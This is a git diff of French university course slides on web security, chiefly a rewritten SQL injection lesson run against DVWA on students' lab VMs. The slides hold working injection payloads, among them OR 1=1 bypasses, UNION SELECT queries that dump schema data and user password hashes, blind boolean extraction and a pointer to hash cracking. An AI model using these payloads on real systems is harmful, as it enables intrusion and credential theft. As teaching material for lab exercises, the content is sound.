diff --git a/content/Etudiants/zz2-f5-websec.md b/content/Etudiants/zz2-f5-websec.md index dd43b0515514287317e5d5bf850356b421d11315..7eea119b862929288ff214d138749a61f44b47f1 100644 --- a/content/Etudiants/zz2-f5-websec.md +++ b/content/Etudiants/zz2-f5-websec.md @@ -29,18 +29,19 @@ Tags: cours * [Drupalgeddon](slides/1337/drupalgeddon.html) * [captcha](slides/1337/captcha.html) -<!-- * [Shellshock](slides/1337/shellshock.html)--> -<!-- -## Pentesting +<hr /> -* [Collecter](slides/1337/gathering.html) -* [Détecter](slides/1337/detecting.html) +<!-- * [Shellshock](slides/1337/shellshock.html) -## Se protéger + ## Pentesting -* [Top10](slides/1337/top10.html) -* [anticiper](slides/1337/anticiper.html) ---> + * [Collecter](slides/1337/gathering.html) + * [Détecter](slides/1337/detecting.html) + + ## Se protéger + + * [Top10](slides/1337/top10.html) + * [anticiper](slides/1337/anticiper.html) --> <div class="panel panel-success"> <div class="panel-heading"> diff --git a/content/slides/1337/images/sqli/select2input.png b/content/slides/1337/images/sqli/select2input.png new file mode 100644 index 0000000000000000000000000000000000000000..a7e7ed26ee4a06c606149c6e1ed4a4a00b87fbfe Binary files /dev/null and b/content/slides/1337/images/sqli/select2input.png differ diff --git a/content/slides/1337/md/fi.md b/content/slides/1337/md/fi.md index 8634c2375a8f358c6d369f612abff4ec38f7590d..7ef66e62ac77c5f6247ea575b168bf62cde6fcd9 100644 --- a/content/slides/1337/md/fi.md +++ b/content/slides/1337/md/fi.md @@ -2,6 +2,11 @@ ## aka LFI / RFI +<i class="fa-brands fa-firefox-browser"></i> / <i class="fa-solid fa-desktop"></i> +<br /><br /><br /><br /><br /><br /> +<small> tapez `<prez>.html?<username-uca>` dans votre navigateur pour suivre le cours avec votre nom de vm</small> + + ### Local File Inclusion / Remote File Inclusion <small>nom d'utilisateur uca pour personnaliser les liens des slides:</small> diff --git a/content/slides/1337/md/lab.md b/content/slides/1337/md/lab.md index 4063b76efc2256a52d881c2fe49fc6e9f0631fe8..a7ed5afd52db45fe688bc5db5b156f5638c00000 100644 --- a/content/slides/1337/md/lab.md +++ b/content/slides/1337/md/lab.md @@ -106,6 +106,10 @@ install [Proxy Switcher and Manager](https://addons.mozilla.org/fr/firefox/addon  +## Web developper addons + +https://chrispederick.com/work/web-developer/ + ## DVWA * htaccess to protect vm diff --git a/content/slides/1337/md/sqli.md b/content/slides/1337/md/sqli.md index 1a8c8b3a1383c751e51674470bf2442711f88416..d3e270f2cde4274a870168eb09b546394b2a60ec 100644 --- a/content/slides/1337/md/sqli.md +++ b/content/slides/1337/md/sqli.md @@ -1,223 +1,254 @@ # Injection SQL +## aka SQLi +  -## aka SQLi +<i class="fa-brands fa-firefox-browser"></i> / <i class="fa-solid fa-desktop"></i> +<small> tapez `<prez>.html?<username-uca>` dans votre navigateur pour suivre le cours avec votre nom de vm</small> -### <i class="fa fa-cogs"></i> Principe -* Une application envoie des données - * non **sanitized** à un interpréteur -* L'attaquant envoie des séquences de texte permettant d'exploiter l'interpréteur visé (**payload**) - * toutes sources de données peut être utilisées - * paramètres HTTP, PATH_INFO, cookies, en-têtes HTTP, fichiers uploadés - * au niveau de la requête [et de la réponse <i class="fa fa-reddit"></i>](http://i.imgur.com/8khrzf9.png) +### <i class="fa fa-cogs"></i> SQLi +* envoie de données à un interpréteur +* l'attaquant envoie des séquences de texte malicieuses permettant d'exploiter l'interpréteur visé (**payload**) + * toute source de données peut être utilisées + * paramètres HTTP, PATH_INFO,`cookies, en-têtes HTTP, fichiers uploadés + * au niveau de la requête [et de la réponse <i class="fab fa-reddit"></i>](http://i.imgur.com/8khrzf9.png) -### <i class="fa fa-user-secret"></i> Que peut on faire? -* Lire des données "protégées" -* Corrompre des données -* Dénis de services -* Lecture / écriture sur le système de fichiers -* Exécution de commandes arbitraires +### <i class="fas fa-ice-cream"></i> SQLi / types -Note: -- marche pour tout interpréteur LDAP, XML, bash (shellshock) -- détectable aux messages d'erreur en cas d'input invalide - - SQL universel ce qui rend la faille très populaire - - au moment de l'exploitation il faut connaître le SGBD poru aller plus loin - - écriture dans des fichiers - - passer des commandes via xp_commandshell pour un server MSSQL -- potentielle compromission totale - - exécution de code - - backdoor - - local root exploit +* [topologie](https://www.linkedin.com/grp/post/36874-130061102) +* [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) + * cas simple où les messages d'erreur base de données sont affichés +* [SQL Injection (Blind)](https://owasp.org/www-community/attacks/Blind_SQL_Injection) + * cas plus complexe où les messages d'erreur base de données **ne** sont **pas** accessibles + * Un comportement différent selon que la **payload** est exécutée ou non -## [Différents types](https://www.linkedin.com/grp/post/36874-130061102) -#### [<i class="fa fa-eye"></i> Error-based](https://www.owasp.org/index.php/SQL_Injection) -* Les messages d'erreur mysql sont accessibles +### <i class="fa-solid fa-bomb"></i> SQLi / payloads -#### [<i class="fa fa-check-square"></i> Boolean (Blind)](https://www.owasp.org/index.php/Blind_SQL_Injection) +* lire des données "protégées" +* corrompre des données +* dénis de services +* lecture / écriture sur le système de fichiers +* exécution de commandes arbitraires -* Pas de message d'erreur -* Un comportement différent selon que la **payload** est exécutée ou non - * nécessite en général d'itérer - * avec un LIKE par exemple pour déduire lettre par lettre +### <i class="fa-solid fa-bomb"></i> SQLi / low -## [Différents types](https://www.linkedin.com/grp/post/36874-130061102) +* détectable en tentant les caractères d'échappement **"** ou **'** en +<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27&Submit=Submit#)</small> -#### [<i class="fa fa-eye-slash"></i> (true) Blind](https://www.owasp.org/index.php/Blind_SQL_Injection) +* L'idée est d'utiliser les commentaires **#** ou **--** pour terminer prématurément l'exécution du SQL + ``` + User ID: ' OR 1=1 # + ``` + * affiche la liste de tous les utilisateurs -* Pas de message d'erreur -* Pas de moyen de savoir si la **payload** a été éxécutée ou non - * cas d'une redirection systématique - * nécessite en général d'itérer - * avec un LIKE par exemple pour déduire lettre par lettre +<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27+OR+1%3D1+%23&Submit=Submit#)</small> -Note: -- boolean type: formulaire d'authentification - - erreur en cas d'échec - - drapeau rouge - - home page en cas de succés - - drapeau vert - - attention une 404 ou une 500 peut être le drapeau vert -- blind typique - - accès à un contenu privé www.example.org/display.php?item=1' - - redirige systématiquement sur la page d'authentification - - l'idée est de charger la requête et de chronomtérer le temps d'exécution - - une requête invalide ne sera pas exécuté donc le temps de réponse sera inférieur au temps d'une requêt valide qui sera exécuté - - Benchmark() MySQL - - WaitFor() MSSQ - - -## <i class="fa fa-eye"></i> [SQLi](https://www.owasp.org/index.php/SQL_Injection) Error-based - -L'idée est d'utiliser les commentaires pour terminer prématurément l'exécution du SQL - -```php -$id = $_GET['id']; -$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; -$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); -$num = mysql_numrows($result); -$i = 0; -while ($i < $num) { - $first = mysql_result($result,$i,"first_name"); - $last = mysql_result($result,$i,"last_name"); - echo '<pre>'; - echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; - echo '</pre>'; - $i++; -} -``` +<i class="fa-solid fa-bullseye"></i> on cherche les mots de passe des utilisateurs -## <i class="fa fa-eye"></i> [SQLi](https://www.owasp.org/index.php/SQL_Injection) Error-based +### <i class="fa-solid fa-bomb"></i> SQLi / low -détectable en tentant une simple **'** en entrée +déterminer le nombre de paramètres de la requêtes + ``` + User ID: ' OR 1=1 ORDER BY 1 # + ``` -```http -http://dv.wa/vulnerabilities/sqli/?id='&Submit=Submit# -``` +<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+2+%23&Submit=Submit#](https://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+2+%23&Submit=Submit#)</small> + +<small><i class="fa-solid fa-circle-xmark"></i> [/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+3+%23&Submit=Submit#](https://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=%27+OR+1%3D1+ORDER+BY+3+%23&Submit=Submit#)</small> -produit +<i class="fa-solid fa-trophy"></i> il y a 2 champs dans la clause SELECT + +### <i class="fa-solid fa-bomb"></i> SQLi / low + +repérer qui est qui? + ``` + User ID: 6' UNION SELECT 1,2 # + ``` + ``` + First name: 1 + Surname: 2 + ``` + +afficher la base de données et l'utilisateur courant + ``` + User ID: 6' UNION SELECT database(),current_user() # + ``` + ``` + First name: dvwa + Surname: dvwa@localhost + ``` + <small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+database%28%29%2Ccurrent_user%28%29+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+database%28%29%2Ccurrent_user%28%29+%23&Submit=Submit#)</small> + + <i class="fa-solid fa-book-skull"></i> **UNION** ou **Cross table** + + +### <i class="fa-solid fa-bomb"></i> SQLi / low + +afficher toutes les tables de la base de données `dvwa` via la table virutelle [information_schema](http://dev.mysql.com/doc/refman/5.1/en/information-schema.html) + ``` -You have an error in your SQL syntax; check the manual -that corresponds to your MySQL server version for -the right syntax to use near ''''' at line 1 +User ID: 6' UNION SELECT table_name,2 + FROM INFORMATION_SCHEMA.TABLES + WHERE TABLE_SCHEMA = 'dvwa' # ``` -intéressant! +<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+...+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+table_name%2C2+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#)</small> -## [SQL Injection - security low](http://dv.wa/vulnerabilities/sqli_blind/) +### <i class="fa-solid fa-bomb"></i> SQLi / low -sensible à (version human readable) - -```http -http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1#&Submit=Submit +afficher les noms de colonnes de la tables `users` via la table virutelle [information_schema](http://dev.mysql.com/doc/refman/5.1/en/information-schema.html) + +``` +User ID: 6' UNION SELECT column_name,2 + FROM INFORMATION_SCHEMA.COLUMNS + WHERE TABLE_SCHEMA = 'dvwa' # ``` -soit en version encodée +<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT...+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+column_name%2C2++++FROM+INFORMATION_SCHEMA.COLUMNS++++WHERE+TABLE_SCHEMA+%3D+%27dvwa%27+%23&Submit=Submit#)</small> -```http -http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%3B%23%23&Submit=Submit + +### <i class="fa-solid fa-bomb"></i> SQLi / low + +afficher les champs `user` & `password` de la table `users` + +``` +User ID: 6' UNION SELECT user,password FROM users # ``` -affiche la liste de tous les utilisateurs +<small><i class="fas fa-circle-check"></i> [/vulnerabilities/sqli/?id=6%27+UNION+SELECT+user%2Cpassword+FROM+users+%23&Submit=Submit#](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id=6%27+UNION+SELECT+user%2Cpassword+FROM+users+%23&Submit=Submit#)</small> -**<i class="fa fa-bomb"></i> on peut mieux faire !!** +<i class="fa-solid fa-screwdriver-wrench"></i> [crackstation.net](https://crackstation.net/) pour une **rainbow attack** ou attaque par **tables arc-en-ciel** -Note: -- je donne les urls en mode human readable - - les valeurs sont à copier dans le champs - - PAS dans l'url -- se détecte avec juste ' ou en fuzzant plus large - - fuzzdb/attack-playloads/sql-injection/detect/MySQL.fuzz.txt - - fuzzdb/attack-playloads/attack-payloads/all-attacks - - tester avec Burp - - avec la hackbar - - mettre un flag grep SQL - - filtrer par length, error, et flag SQL +### <i class="fa-solid fa-bomb"></i> SQLi / medium -## [SQL Injection - security low](http://dv.wa/vulnerabilities/sqli_blind/) + + +détection -```http -http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 5#&Submit=Submit +``` +User ID: ' OR 1=1 # ``` -affiche un message d'erreur +<i class="fa-solid fa-circle-xmark"></i> a priori les **'** sont échappés -```http -http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 2#&Submit=Submit + +### <i class="fa-solid fa-bomb"></i> SQLi / medium + +``` +User ID: 1 OR 1=1 # ``` -est exécutée +<i class="fas fa-circle-check"></i> le paramètre id est un entier + +reprendre les étapes SQLi / low en remplacant -```http -http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 3#&Submit=Submit +``` +User ID: 6' ... # ``` -affiche un message d'erreur +<i class="fa-solid fa-arrow-right-arrow-left"></i> -**<i class="fa fa-trophy"></i> par dichotomie** +``` +User ID: 6 ... # +``` -**il y a 2 champs dans la clause SELECT** +<small> -Note: -- va nous permettre d'étendre les requêtes à d'autres tables +`TABLE_SCHEMA = 'dvwa'` +<i class="fa-solid fa-arrow-right-arrow-left"></i> -## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/) +`TABLE_SCHEMA = CHAR(100,118,119,97)` -```http -http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 UNION SELECT NULL, user()#&Submit=Submit -``` +</small> -affiche l'utilisateur courant (mysqlusername@mysqlhost) à la fin de la liste des users -```http -http://dv.wa/vulnerabilities/sqli/?id=' or 0=0 UNION SELECT NULL, database()#&Submit=Submit -``` +### <i class="fa-solid fa-bomb"></i> SQLi / high -affiche le nom de la base de données à la fin de la liste des users +Toutes la séquence SQLi / low est valide -## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/) +### <i class="fa-solid fa-bomb"></i> Blind SQLi / low -```http -http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, table_name FROM information_schema.tables#&Submit=Submit +* plus de message d'erreur +* plus d'affichage des champs + +* identifier les comportements + +``` +User ID: 1 +``` +``` +User ID exists in the database. +``` +``` +User ID: 6 +``` +``` +User ID is MISSING from the database. ``` -* affiche toutes les tables via la table virutelle [information_schema](http://dev.mysql.com/doc/refman/5.1/en/information-schema.html) - * quand on fait de l'**UNION** de deux tables distincts on parle de **Cross table** -```http -http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_name LIKE '%user%'#&Submit=Submit +### <i class="fa-solid fa-bomb"></i> Blind SQLi / low + +* identifier les comportements + * on sait que l'utilisateur 1 existe + +``` +User ID: 1' AND '1' = '2' # +``` +``` +User ID is MISSING from the database. +``` +``` +User ID: 1' AND '1' = '1' # +``` +``` +User ID exists in the database. ``` -affiche toutes les tables qui contiennent user +<i class="fa-solid fa-trophy"></i> il y a une injection -## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/) +### <i class="fa-solid fa-bomb"></i> Blind SQLi / low -```http -http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(table_name,0x0a,column_name) FROM information_schema.columns WHERE table_name = 'users'#&Submit=Submit +déterminer le nom de la base de données + +``` +1' AND ORD(MID(DATABASE(),1,1)) = 100 # ``` -* affiche toutes les champs de la table user +* `DATABASE()` : renvoie la chaîne "dvwa" +* `MID(DATABASE(),1,1)` : renvoie le première caractère de la chaîne retournée par `DATABASE()` +* `ORD()` : renvoie l'équivalent décimal du caractère en paramètre -```http -http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) FROM users#&Submit=Submit + +### <i class="fa-solid fa-bomb"></i> Blind SQLi / low + +déterminer le nombre de caractère dans le nom de la base de données + +``` +1' AND LENGTH(DATABASE()) = 4 # ``` -* affiche toutes les valeurs des champs *user* et *password* de la table user +déterminer le nom de la base de données - * reste à brute forcer +``` +1' AND ORD(MID(DATABASE(),1,1)) = 100 # d +1' AND ORD(MID(DATABASE(),2,1)) = 118 # v +1' AND ORD(MID(DATABASE(),3,1)) = 119 # w +1' AND ORD(MID(DATABASE(),4,1)) = 97 # a +``` ## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/) diff --git a/content/slides/1337/md/xss.md b/content/slides/1337/md/xss.md index ae6720dcbd3028127ba96e4dad00cb2ee8bc4529..259664c34986073ded51484ab7bcbdfe8245df75 100644 --- a/content/slides/1337/md/xss.md +++ b/content/slides/1337/md/xss.md @@ -3,6 +3,8 @@ ## aka cross site script <i class="fa-brands fa-firefox-browser"></i> +<br /><br /><br /><br /><br /><br /> +<small> tapez `<prez>.html?<username-uca>` dans votre navigateur pour suivre le cours avec votre nom de vm</small> ### <i class="fas fa-cogs"></i> XSS diff --git a/content/slides/1337/sqli.html b/content/slides/1337/sqli.html index ddd9c32f1d6bbf15c7e2f34ae7b1ec67a5e695c4..c58387ce8758e616729bb06fdbe84d8ca5534b4a 100644 --- a/content/slides/1337/sqli.html +++ b/content/slides/1337/sqli.html @@ -7,11 +7,11 @@ <title>SQLi</title> <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css"> - <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css"> + <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css"> <!-- Theme used for syntax highlighting of code --> <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css"> - <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css"> + <link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css"> <link rel="stylesheet" href="../main.css"> <!-- Printing and PDF exports --> @@ -35,7 +35,7 @@ </div> </div> - <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script> + <!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script --> <script src="../../node_modules/reveal.js/js/reveal.js"></script> <script> @@ -66,5 +66,6 @@ ] }); </script> + <script src="../main.js"></script><script src="../main.js"></script> </body> </html> diff --git a/content/slides/main.css b/content/slides/main.css index 4ff06b159b60544b7da49a1754576cb4f4546d9f..b7f8cb421d1272cd1340dfade07bcc336ca111d4 100644 --- a/content/slides/main.css +++ b/content/slides/main.css @@ -45,6 +45,10 @@ reveal code { color: yellow; } +.fa-trophy { + color: yellow; +} + .fa-medkit { color: pink; } @@ -63,4 +67,12 @@ reveal code { .fa-firefox-browser { color: orange; +} + +.fa-bullseye { + color:orangered +} + +.fa-book-skull, .fa-screwdriver-wrench { + color: grey; } \ No newline at end of file